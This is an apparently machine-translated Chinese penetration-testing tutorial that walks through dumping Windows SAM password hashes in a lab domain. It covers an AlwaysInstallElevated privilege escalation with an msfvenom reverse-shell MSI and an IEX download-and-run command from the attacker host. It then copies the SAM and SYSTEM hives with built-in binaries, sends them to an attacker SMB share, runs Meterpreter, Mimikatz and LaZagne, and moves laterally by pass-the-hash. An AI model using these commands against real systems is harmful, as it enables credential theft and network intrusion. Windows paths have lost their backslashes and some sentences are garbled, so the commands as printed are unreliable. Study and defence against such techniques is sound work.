【域渗透】 转储凭证 - SAM 文件哈希

admin 2025年2月23日01:13:35评论17 views字数 12209阅读40分41秒阅读模式

在这篇文章中,我们将回顾可用于从 Windows 主机转储本地 SAM 文件哈希的各种技术。

首先,我们将研究一个场景,即我们在已加入目标域的 Windows 10 主机上获得了立足点。从那里,我们发现了一个错误的配置,允许我们将权限从标准域用户升级到本地 SYSTEM。

在我们的示例场景之后,我们将通过使用内置二进制文件 (LOLBin) 从注册表和卷影副本中提取 SAM 和 SYSTEM 文件的副本来开始示例。

我们还将学习如何搜寻系统上已有这些文件的备份。

从那里,我们将学习如何将文件泄露到我们的攻击者机器上,并在本地从 SAM 文件中提取哈希值。

接下来,我们将查看一些可用于将 SAM 哈希值直接转储到终端的脚本和工具示例,以及一些可用于远程执行此攻击的工具。

最后,为了远程执行此攻击,我们将通过转向网络中的第二个 Windows 主机并转储 SAM 哈希来推进我们的方案。

什么是本地 SAM 文件?

安全帐户管理器 (SAM) 文件是 Windows 操作系统中的数据库文件,其中包含本地用户名和密码。SAM 文件中的密码不以明文形式存储;相反,它们存储为 NTLM (MD4) 哈希。

SAM 是注册表的一部分,这意味着它存储在磁盘上,专门用于本地登录。如果计算机已加入域,则域用户的登录尝试将由 Active Directory (AD) 处理。

当用户尝试登录 Windows 系统时,他们需要输入用户名和密码。输入后,将使用 MD4 对密码进行哈希处理,然后与存储在数据库文件中的哈希值进行比较。但是,哈希的存储位置取决于账户类型。

MD4 用于计算 Microsoft Windows 操作系统上的 NTLM 密码派生的密钥摘要。

当用户账户是本地非域账户时,将对用于登录的凭证进行哈希处理,并与存储在本地 SAM 数据库中的哈希值进行比较。

如果它们匹配,则授予访问权限。

或者,如果帐户是域帐户,则将密码哈希与 NTDS.dit 数据库文件中存储的哈希进行比较。此文件驻留在域控制器上,与本地 SAM 文件基本相同。唯一的区别是 NTDS.dit 文件用于所有域用户,无论他们从何处登录。

有关提取本地 SAM 文件的重要信息

在我们进入这篇文章的黑客部分之前,让我们快速回顾一下一些有助于成功实施这种攻击的要求/技巧。

首先,应该注意的是,SAM 和 SYSTEM 文件都位于 C:WindowsSystem32Config 中。但是,我们不能在系统运行时简单地从此位置复制它们。相反,我们需要找到一种替代方法来获取副本。

【域渗透】 转储凭证 - SAM 文件哈希

接下来,请务必注意,为了提取本地 SAM 文件的副本,我们需要具有本地/域管理员或 SYSTEM 权限。

实际上,这并不完全正确......

除了本地/域管理员或 SYSTEM 帐户之外,还有另一组权限允许非管理员用户提取本地 SAM 文件的副本。也就是说,如果我们有权访问的帐户分配了SeBackupPrivilege(不需要“启用”)。

要更好地了解具有 SeBackupPrivilege 的帐户如何提取本地 SAM 文件的副本,请在此处查看此帖子。

通常,有两种方法可以转储本地 SAM 文件哈希值。

第一种技术要求我们从注册表或卷影副本中提取 SAM 和 SYSTEM 文件的副本。一旦我们拥有它,我们需要将文件发送回我们的攻击者机器,并使用另一个工具转储哈希值。

或者,有一些工具可以访问内存中的 SAM 文件并将哈希值直接提取到终端上。同样,还有一些工具可以解密 SAM hive 并将哈希值直接提取到终端上,而无需将任何文件传输到我们的攻击者机器。

等。。。什么是一 .system 文件?

除了 SAM 文件之外,还有一个 SYSTEM“文件”也需要复制。此文件对于从 SAM 文件中提取哈希值至关重要。

SAM 和 SYSTEM“文件”是 SAM 和 SYSTEM 注册表配置单元的副本,表示为单个文件。

基本上,SYSTEM 文件包含解密 SAM 文件并提取其中的哈希值所需的信息(引导密钥)。

在 Windows 10 版本 1709 之前,SYSTEM 配置单元曾经包含用于加密 SAM 配置单元的 SysKey。但是,一些不良行为者找到了使用此密钥执行某种勒索软件的方法,以将人们锁定在他们的个人计算机之外。

要了解有关 SysKey 的更多信息以及它被弃用的原因,您可以在此处阅读这篇有趣的文章。

Microsoft 的回应是放弃 SysKey,并开始在 SAM 配置单元上使用 AES 加密。

好了,在这一点上,我们应该对本地 SAM 和 SYSTEM 文件的用途有一个很好的了解。

现在,让我们来看一些例子吧!

示例方案:使用 AlwaysInstallElevated 进行权限提升

对于此方案,我们有三台已加入域的计算机。前两个是 Windows 10 主机(172.16.1.50 和 172.16.1.100),第三个是域控制器 (172.16.1.5)。

对于某些上下文,假设我们在 SMB 共享中找到了允许匿名访问的凭据。从那里,我们设法以常规域用户的身份在其中一台 Windows 10 主机 (172.16.1.50) 上站稳脚跟:cmarko

【域渗透】 转储凭证 - SAM 文件哈希

使用 PowerUp.ps1 查找 AlwaysInstallElevated Enabled

在目标主机上站稳脚跟后,我们通过运行PowerUp.ps1开始枚举。

PowerUp.ps1 是PowerSploit工具集合的一部分,可在漏洞利用后枚举期间提供快速获胜。

从上面的链接获取 PowerSploit 集合的副本后,我们将PowerUp.ps1复制到我们的工作目录中,并将以下命令附加到脚本底部:

echo 'Invoke-AllChecks' >> ./PowerUp.ps1
【域渗透】 转储凭证 - SAM 文件哈希

接下来,我们从工作目录启动了一个 HTTP 服务器,将脚本提供给受害者。

python3 -m http.server 80

回到受害者,我们执行了以下 IEX 命令,将脚本直接下载并自动执行到内存中。

iex(new-object net.webclient).downloadstring('http://172.16.1.30/PowerUp.ps1')

查看 PowerUp.ps1 的输出,我们可以看到AlwaysInstallElevated在注册表中处于打开状态!

【域渗透】 转储凭证 - SAM 文件哈希

利用 AlwaysInstallElevated 获取 SYSTEM Shell

下一步是确定我们正在开发的操作系统的架构。

cmd.exe /c 'systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"'

我们在命令前面加上 'cmd.exe /c',因为 systeminfo 可能会导致 shell 在从 PowerShell 提示符执行时挂起。

【域渗透】 转储凭证 - SAM 文件哈希

在确定这是一个 x64 系统后,我们返回到攻击者计算机,从我们的工作目录中制作一个漏洞,如下所示:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f msi -o evil.msi

而且,由于我们已经有一个 HTTP 服务器从我们的工作目录运行,因此我们使用以下命令将漏洞利用下载到受害者身上:

IWR -Uri http://172.16.1.30/evil.msi -OutFile evil.msi
【域渗透】 转储凭证 - SAM 文件哈希

最后,我们在攻击者机器上通过端口 443 启动了一个 netcat 侦听器,然后对受害者执行evil.msi

SYSTEM shell 立即签入,现在我们开始营业了!

【域渗透】 转储凭证 - SAM 文件哈希

提取本地 SAM 和 SYSTEM 文件的副本– LOLBins

对于第一组示例,我们将 “live off the land” 并使用各种内置的 Windows 二进制文件 (LOLbin) 提取本地 SAM 和 SYSTEM 文件的副本。

为此,我们将以两种不同的方式提取这两个文件。首先,我们将从注册表中获取一个副本,这是最简单的方法;然后,我们将使用两个二进制文件来创建包含 SAM 和 SYSTEM 文件的驱动器的卷影副本。

备份驱动器(通常为 C:)后,可以直接从备份中的C:WindowsSystem32Config 文件夹复制 SAM 和 SYSTEM 文件。

使用 LOLBins 比使用工具要隐蔽得多,因为我们使用的是内置的 Windows 二进制文件。这些二进制文件已经可供我们使用,而不是将工具转移到受害者身上。

此外,由于我们 (ab) 使用这些二进制文件的内置功能,因此该活动看起来不那么可疑,因此通常会绕过 EDR 工具。

还应该注意的是,有相当多的 PowerShell 脚本可用于提取 SAM 和 SYSTEM 文件的副本。其中包括Copy-VSS.ps1Invoke-NinjaCopy.ps1等。这些脚本基本上只使用我们将在下面使用的一种(或多种)技术;但是,它们仍然很酷,值得自己测试。

Reg.exe

对于使用 LOLBins 的第一个示例,我们将使用reg.exe从注册表中复制 SAM 和 SYSTEM 文件。

由于 SAM 和 SYSTEM 文件实际上是注册表配置单元,因此直接从注册表中获取它们是有意义的。

这种技术很简单,可以通过以下两个命令来完成:

reg save hklmsam C:WindowstempSAM
reg save hklmsystem C:WindowstempSYSTEM
【域渗透】 转储凭证 - SAM 文件哈希

繁荣!就这样,我们能够直接从注册表中获取两个文件的副本。现在我们需要做的就是将两个文件传输回我们的攻击者机器,然后在本地转储哈希值。

但是,在我们学习如何转储 SAM 哈希之前,让我们快速看一下一些可用于提取这两个文件的替代 LOLBin。

Wmic.exe

从目标 Windows 系统提取 SAM 和 SYSTEM 文件副本的另一种方法是使用wmic.exe创建 C: 的卷影副本。

创建 C: 的卷影副本后,我们可以从卷影副本上的 C:WindowsSystem32Config 文件夹访问和复制 SAM 和 SYSTEM 文件。

当系统运行时,您无法直接访问 SAM 和 SYSTEM 文件;但是,卷影副本只是计算机当前状态的快照,因此可以访问卷影副本中的文件,因为它们未挂载或未“使用”。

要使用 wmic.exe 创建 C: 的卷影副本,我们可以运行以下命令:

wmic shadowcopy call create Volume='C:'
【域渗透】 转储凭证 - SAM 文件哈希

接下来,我们需要确定卷影副本的文件位置:

vssadmin.exe list shadows
【域渗透】 转储凭证 - SAM 文件哈希

伟大!现在我们已经找到了 C: 的卷影副本,我们可以继续将 SAM 和 SYSTEM 文件复制到我们选择进行泄露的文件夹中。

mkdir C:temp
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsSystem32configSYSTEM C:tempSYSTEM
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsSystem32configSAM C:tempSAM
【域渗透】 转储凭证 - SAM 文件哈希

棒!在制作 C: 的卷影副本后,我们能够访问备份上的 SAM 和 SYSTEM 文件,并像复制任何其他文件一样复制它们。

Esentutl.exe

对于最后一个 LOLBin 示例,我们将使用一个名为esentutl.exe的有趣二进制文件。

Esentutl.exe是 Microsoft 提供的命令行实用程序,用于 Windows 可扩展存储引擎 (WESE) 的数据库维护和恢复操作。

这个二进制文件的有趣之处在于它可以用来以非传统方式复制文件。例如,它可以复制文件并将其隐藏在备用数据流中,作为防御性对策。此外,它还可以复制/提取锁定的文件,例如本地 (SAM) 或 AD 数据库 (ntds.dit)。

在此处查看更多可以使用esentutl.exe完成的有趣事情。

在此示例中,我们将使用esentutl.exe创建 SAM 文件的副本,我们知道该文件当前已“锁定”。

esentutl.exe /y /vss c:windowssystem32configSAM /d c:windowstempSAM

esentutl.exe /y /vss c:windowssystem32configSYSTEM /d c:windowstempSYSTEM
【域渗透】 转储凭证 - SAM 文件哈希
【域渗透】 转储凭证 - SAM 文件哈希

了不起!即使文件被锁定,我们仍然能够复制每个文件。

但是,此工具并没有神奇地“解锁”文件以制作副本。相反,esentutl.exe利用 VSS 子系统制作单个文件的卷影副本。

Diskshadow.exe + Robocopy

最后,还有一个值得一提的 LOLBin,叫做 diskshadow.exe。与上面的 wmic.exe 示例类似,我们可以使用diskshadow创建卷影副本;然后使用Robocopy(适用于 Windows 的 Robust File Copy)将 SAM 和 SYSTEM 文件复制到我们选择的文件夹中。

但是,有一个警告。

默认情况下,Diskshadow.exe仅安装在 Windows Server 上。这意味着diskshadow.exe不会出现在我们已泄露的 Windows 10 受害者身上。

因此,如果您想学习此技术并从 Windows Server 操作系统中提取 SAM 和 SYSTEM 文件的副本,请在此处查看我的帖子。

好了,在这一点上,我们已经回顾了四种不同的 LOLBin,它们可用于提取 SAM 和 SYSTEM 文件的副本。但是,在我们将这些文件泄露到我们的攻击机器上以提取哈希值之前,我们还需要查看另一个示例。

查找系统上已有的 SAM 和 SYSTEM 文件的备份

在某些情况下,我们可能会在系统中找到 SAM 和 SYSTEM 文件的备份。最常见的是,这些备份存储在C:WindowsSystem32ConfigC:WindowsRepairC:WindowsSystem32ConfigRegback中。

默认情况下,上面列出的文件夹需要管理员权限才能与之交互。但是,我们可能会(非常)幸运地发现标准用户对其中一个文件夹具有写入权限,该文件夹也恰好在其中存储了备份。

在这种情况下,我们有一个权限提升方案。

SAM 和 SYSTEM 文件的备份通常具有.OLD.BAK扩展。但是,这不是一项要求,他们真的可以被命名为任何东西。

话虽如此,我们可以使用以下命令开始寻找备份:

cd C: & dir /S /B SAM == SYSTEM == SAM.OLD == SYSTEM.OLD == SAM.BAK == SYSTEM.BAK
【域渗透】 转储凭证 - SAM 文件哈希

或者,如果未找到任何内容,我们可以优化搜索,如下所示:

cd C:WindowsSystem32 & dir /S /B SAM == SYSTEM == SAM.* == SYSTEM.*
【域渗透】 转储凭证 - SAM 文件哈希

了不起!能够列出 C:WindowsSystem32Config 中的文件表明我们的标准用户对此文件夹具有某种权限。

接下来,我们可以使用icacls来查看我们是否对 Config 文件夹有写入权限。

icacls C:WindowsSystem32Config
【域渗透】 转储凭证 - SAM 文件哈希

完善!在这里,我们可以看到当前用户具有写入权限。这意味着我们可以将备份文件复制到攻击者的计算机上,然后提取本地管理员帐户密码哈希。

在其他情况下,搜索备份也很方便。例如,假设您正在入侵一台具有目录遍历漏洞的 Web 应用程序的机器,或者您发现 UDP 端口 69 正在托管 TFTP 服务器。由于您在这两种情况下都是盲目工作的,因此您可能会幸运地找到这些备份。

从本地 SAM 文件提取密码哈希

此时,我们拥有使用各种技术提取的 SAM 和 SYSTEM 文件的多个副本。但是,在正常情况下,只会使用一种技术,并且只会创建一个 SAM 和 SYSTEM 文件的副本。

因此,我们只需要将这些文件的一个副本传输到我们的攻击者计算机上,以便我们可以在本地(离线)提取哈希值。

将 SAM 和 SYSTEM 文件泄露到我们的攻击者计算机上

我们可以使用各种技术将这些文件泄露到攻击者的计算机上。考虑到这一点,在此示例中,我们只在攻击者计算机上设置一个 SMB 共享,然后将文件从目标复制到共享文件夹中。

如果您想学习许多不同的方法来将文件传输到 Windows 目标计算机或从 Windows 目标计算机传输文件,那么您将需要查看我关于该主题的帖子, 这里.

首先,我们需要从工作目录在攻击者计算机上设置共享,如下所示:

smbserver.py share $(pwd) -smb2support
【域渗透】 转储凭证 - SAM 文件哈希

伟大!我们现在有一个名为 “share” setup 的共享文件夹,我们可以将文件从受害者移动到该文件夹。

smbserver.pyImpacket脚本集合的一部分,这是一个出色的集合,所有黑客都需要在他们的工具带中拥有。

准备好共享文件夹后,我们现在需要做的就是将 SAM 和 SYSTEM 文件复制到共享中。

copy C:windowstempSAM \172.16.1.30share

copy C:windowstempSYSTEM \172.16.1.30share
【域渗透】 转储凭证 - SAM 文件哈希

回到我们的攻击者计算机上,我们可以看到受害者已签入并且文件已成功传输。

【域渗透】 转储凭证 - SAM 文件哈希
【域渗透】 转储凭证 - SAM 文件哈希

完善!现在,我们在攻击者计算机上拥有了 SAM 和 SYSTEM 文件的副本,我们可以继续转储哈希值。

使用 Secretsdump.py 提取 SAM 文件哈希

Secretsdump.py是来自 Impacket 脚本集合的另一个了不起的工具。

secretsdump.py的一大优点是它可用于远程和本地转储哈希值。例如,如果我们有域/本地管理员密码或哈希值,那么我们可以远程使用此工具。或者,如果我们发现自己有一个(或多个)文件需要从中提取哈希值,我们可以使用此工具在本地执行该提取。

我们可以使用之前泄露的两个文件在攻击者计算机上本地执行哈希转储,如下所示:

secretsdump.py -sam SAM -system SYSTEM LOCAL
【域渗透】 转储凭证 - SAM 文件哈希

繁荣!Secretsdump.py能够非常轻松地解密 SAM 文件并提取哈希值!

现在我们已经掌握了本地管理员帐户密码哈希,我们可以使用它并尝试通过传递哈希攻击进行横向移动。

但是,在我们尝试任何横向移动之前,让我们先看看另一个可用于在本地提取这些哈希值的工具。从那里,我们还将回顾一些不同的工具和脚本,这些工具和脚本可以在目标上执行,以将这些哈希值直接转储到终端上(不需要 SAM 或 SYSTEM 文件)。

如何使用 Samdump2 提取 SAM 文件哈希

另一个可用于在本地转储 SAM 文件哈希的工具是samdump2

但是,有一个问题......尚未更新 Samdump2以解密 SAM 注册表配置单元上的新 AES 加密。

如前所述,从 Windows 10 版本 1709 开始,Microsoft 弃用了以前用于加密 SAM 注册表配置单元的 SysKey,转而使用 AES 加密。

因此,当从运行 Windows 10 版本 1709 或更高版本的系统中提取 SAM 文件哈希时,samdump2在尝试转储 SAM 文件时将不起作用。

为了确认这一点,我们可以使用以下命令自己测试它:

samdump2 SYSTEM SAM
【域渗透】 转储凭证 - SAM 文件哈希

看起来它奏效了;但是,如果我们同时检查哈希的 NT 和 LM 部分,我们可以看到它们对于所有用户(包括管理员帐户)都是 null。

因此,最好仅在从较旧的 Windows 操作系统转储 SAM 文件哈希时使用此工具。

好了,继续下一组示例,我们将回顾一些可用于直接在终端上转储 SAM 文件哈希的脚本/工具。

转储本地 SAM 文件哈希– 脚本和工具

在本节中,我们将介绍四种不同的工具(三个工具和一个 PowerShell 脚本),它们可用于直接在目标上转储 SAM 哈希。

使用这些工具,我们可以快速获取 SAM 哈希值,而无需复制 SAM 和 SYSTEM 注册表配置单元。

相反,这些工具要么直接在目标上解密 SAM 注册表以转储哈希值,要么直接从内存中提取它们。无论哪种方式,哈希值都会直接转储到终端上,而无需泄露任何文件。

请注意,任何解密 SAM 注册表的工具都直接需要 SYSTEM 权限。管理员是不够的。

调用 PowerDump.ps1

Invoke-PowerDump.ps1是一个出色的 PowerShell 脚本,可用于转储 SAM 哈希,并且是Empire Post Exploitation Framework的一部分。

从本质上讲,此脚本的工作原理是获取引导密钥,以从 SYSTEM 配置单元解密 AES 加密的 SAM 配置单元。从那里,它从 SAM 注册表中提取哈希值,并将它们直接转储到终端上。

将 Empire 存储库克隆到我们的攻击者机器上后,我们需要复制Invoke-PowerDump.ps1并将其放在我们的工作目录中。

将您计划使用的任何脚本复制到您的工作目录中始终是一个好主意。这样,如果您需要编辑脚本,则不会更改原始副本。

现在,我们的工作目录中有脚本的副本,我们可以利用之前开始的 SMB 共享来获取受害者的副本。

实际上,我们不会将脚本的副本传输到受害者身上,而是直接从共享将脚本加载到 PowerShell 会话中。

首先,我们需要使用以下命令进入 PowerShell 提示符:

powershell -ep bypass
【域渗透】 转储凭证 - SAM 文件哈希

如果上述操作失败,您可以通过发回 Nishang 1-liner 来获取 PowerShell 提示符,可在此处找到。

现在我们有了 PowerShell 提示符,可以使用 dot sourcing 将脚本加载到当前会话中。我们可以直接从共享文件夹完成此操作,而无需将脚本的副本移动到磁盘上。

此外,我们可以附加命令 'Invoke-PowerDump'以立即执行哈希转储函数。

. \172.16.1.30shareInvoke-PowerDump.ps1;Invoke-PowerDump
【域渗透】 转储凭证 - SAM 文件哈希
棒!该脚本直接从注册表中提取哈希值并将它们转储到终端上!

LaZagne.exe

LaZagne.exe 是一个开源工具,能够检索存储在本地计算机上的大量密码。老实说,此工具从中转储密码/哈希的应用程序列表太疯狂了!要查看此工具可以转储的不同密码的完整列表,请在此处查看 GitHub 存储库。

显然,因为LaZagne.exe进行了剪辑,此工具可以转储的内容之一是 SAM 哈希。

与我们看到的使用 Invoke-HashDump.ps1 的最后一个示例类似,此工具还直接从注册表中提取 SAM 哈希值并将其转储到终端上。

我们可以使用 'all' 开关运行这个程序,它将尝试从上面链接的长长应用程序列表中找到并转储它找到的任何密码。

或者,我们可以更具体,仅针对特定于 Windows 的 Secret。这包括 SAM 哈希、LSA 密钥、MSCache、autologon 等。

首先,我们需要获取LaZagne.exe从上面链接的 “Releases” 部分。然后我们需要复制

LaZagne.exe

在我们的工作目录中。完成后,我们就可以执行

LaZagne.exe直接从共享中转储目标上的所有 Windows 密钥。

\172.16.1.30shareLaZagne.exe windows
【域渗透】 转储凭证 - SAM 文件哈希

Meterpreter – hashdump

另一个可用于在目标 Windows 计算机上本地转储 SAM 哈希的工具是Metasploit

更具体地说,Meterpretershell 有一个内置的哈希转储功能,我们将使用它,称为hashdump

同样,此技术的工作原理与最后两个示例相同。

首先,我们将通过在工作目录中制作 Meterpreter payload 来开始升级到 Meterpreter shell。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o meterpreter.exe
【域渗透】 转储凭证 - SAM 文件哈希

然后,我们需要从攻击者的机器上启动 Metasploit 并启动一个多处理程序侦听器来捕获 shell。

msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"
【域渗透】 转储凭证 - SAM 文件哈希

现在一切都已准备就绪,我们可以直接从共享执行meterpreter.exe文件。

\172.16.1.30sharemeterpreter.exe
【域渗透】 转储凭证 - SAM 文件哈希

它似乎已成功执行;然后再次检查多处理程序,我们可以看到一个新会话已经打开,我们现在有一个 Meterpreter 提示符。

【域渗透】 转储凭证 - SAM 文件哈希

一旦我们有了 Meterpreter 提示符,我们所要做的就是运行一个命令来转储所有 SAM 哈希值。

hashdump
【域渗透】 转储凭证 - SAM 文件哈希

米米卡茨

对于使用工具的最后一个示例,我们将使用Mimikatz将 SAM 哈希直接转储到终端上。

与最后三个示例不同,Mimikatz 从内存(而不是注册表)中提取 SAM 哈希值。

Mimikatz 的一件事是它有多种风格,包括可执行文件 (EXE)、脚本 (PS1) 和开发后模块(Kiwi 等)。

因为在最后一个例子中我们已经升级到了 Meterpreter shell,所以我们将使用 Mimikatz 的内置扩展,称为 Kiwi。

首先,我们需要将 Kiwi 加载到 Meterpreter 会话中。从那里,我们可以使用help命令查看此模块的所有可用选项。

load kiwi
help

当您使用help命令时,有关加载到 Meterpreter 的最新模块的信息将始终位于底部。

【域渗透】 转储凭证 - SAM 文件哈希
【域渗透】 转储凭证 - SAM 文件哈希

从输出中,我们可以看到 Metasploit 可以非常容易地执行各种攻击。例如,我们可以简单地运行lsa_dump_sam命令并获取哈希转储。但是,在此示例中,我们将使用kiwi_cmd来运行命令,就像使用mimikatz.exe一样。

kiwi_cmd "privilege::debug" "token::elevate" "lsadump::sam"
【域渗透】 转储凭证 - SAM 文件哈希

好了,这部分关于使用工具转储 SAM 哈希的内容到此结束。

接下来,接下来我们将看到一些远程转储 SAM 哈希的示例;然后,我们将看到既然我们拥有这些哈希值,我们可以用它们做什么。

转储本地 SAM 文件哈希值 – 远程

除了能够在本地转储 SAM 文件哈希之外,我们还可以远程执行此攻击。

但是,为了远程执行此攻击,我们需要本地或域管理员帐户、密码或哈希值。

因此,远程转储 SAM 哈希通常发生在完全破坏网络中的一台主机之后,然后横向移动到另一台主机。

例如,在我们当前的场景中,我们以标准域用户的身份获得了立足点,然后通过利用错误配置将我们的权限提升到本地 SYSTEM。此外,我们目前不知道任何管理员密码,但我们有一个 SYSTEM shell。

因此,在当前情况下,我们将无法远程执行此攻击。

或者,我们可以在系统上寻找管理员密码;但是,如果我们可以使用上面的示例之一并在本地转储哈希值,我们为什么要经历所有这些麻烦呢?

因此,为了使此示例更真实,我们将转向网络中的另一台主机 (172.16.1.100) 并远程转储该系统上的 SAM 哈希值。

在第二台 Windows 10 主机上测试横向移动

继续我们当前的方案,假设我们决定使用 Invoke-PowerDump.ps1 转储本地 SAM 哈希。

现在,我们有了本地管理员哈希的副本。

获得本地 Administrator 哈希值后,我们应该做的第一件事是检查密码是否在网络中的其他主机上重复使用。

您应该立即做的另一件事是转储 LSASS 进程哈希。如果您有兴趣学习如何执行此攻击,请在此处查看此帖子

我们可以使用许多工具来执行传递哈希攻击;但是,对于此示例,我们将测试是否能够使用CrackMapExec传递哈希。

使用以下命令,我们可以检查本地管理员帐户在两台计算机上是否具有相同的密码:

crackmapexec smb 172.16.1.50 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth --continue-on-success
【域渗透】 转储凭证 - SAM 文件哈希

完善!在两台机器上看到 “Pwn3d!” 告诉我们,本地管理员密码肯定被重用了!这意味着我们可以使用此哈希远程定位 172.16.1.100。

CrackMapExec (破解贴图执行)

在确认本地管理员密码在两台主机上被重复使用后,我们可以继续使用CrackMapExec执行传递哈希攻击,并在目标上远程转储 SAM 哈希。

crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth --sam
【域渗透】 转储凭证 - SAM 文件哈希

凉!我们能够成功地横向移动并从网络中的其他主机远程转储 SAM 文件哈希值!

但不幸的是,dump 没有产生任何新的哈希值。

但是,我们可以使用另一种工具远程转储 SAM 哈希。

Secretsdump.py

之前,我们使用secretsdump.py在攻击者计算机上本地提取 SAM 哈希值。但是,要做到这一点,我们必须从 targets 注册表中泄露 SAM 和 SYSTEM 文件的副本。

在该示例中,还提到了此工具也可用于远程转储哈希值。但是,为了做到这一点,我们需要一个本地或域管理员账户密码或密码哈希。

由于我们目前拥有本地管理员帐户密码哈希,因此我们可以执行另一次传递哈希攻击,并使用secretsdump.py远程转储 SAM 哈希。

与 LaZagne.exe 类似,secretdump.py将提取它能找到的所有 Windows 秘密,包括 SAM、MSCache、LSA 秘密等。

secretsdump.py [email protected] -hashes :3542d79d5d17bc9d3014d4d56b5e3060
【域渗透】 转储凭证 - SAM 文件哈希

了不起!在这里,我们可以看到很多哈希值被转储了。

但是,对于此示例,我们只对 SAM 哈希感兴趣。虽然,了解我们在使用secretsdump.py时实际转储的内容总是很好的。

如果您有兴趣,有一篇很棒的文章分解了secretsdump.py提取的不同“秘密”。

最后的思考

我们可以通过多种不同的方式从目标主机转储 SAM 哈希值。但是,允许我们直接转储到终端的技术是迄今为止最好的。当没有文件可以移动时,它会好得多。

另外,请记住,从一台主机收集 SAM 哈希值后,请务必尝试将它们传递给其他主机,以查看密码是否存在密码重用情况。此外,请始终记住在转储 SAM 哈希后立即转储 LSASS。

【域渗透】 转储凭证 - SAM 文件哈希
关注公众号
【域渗透】 转储凭证 - SAM 文件哈希

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏

【域渗透】 转储凭证 - SAM 文件哈希

原文始发于微信公众号(moonsec):【域渗透】 转储凭证 – SAM 文件哈希

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月23日01:13:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【域渗透】 转储凭证 - SAM 文件哈希https://cn-sec.com/archives/3770317.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息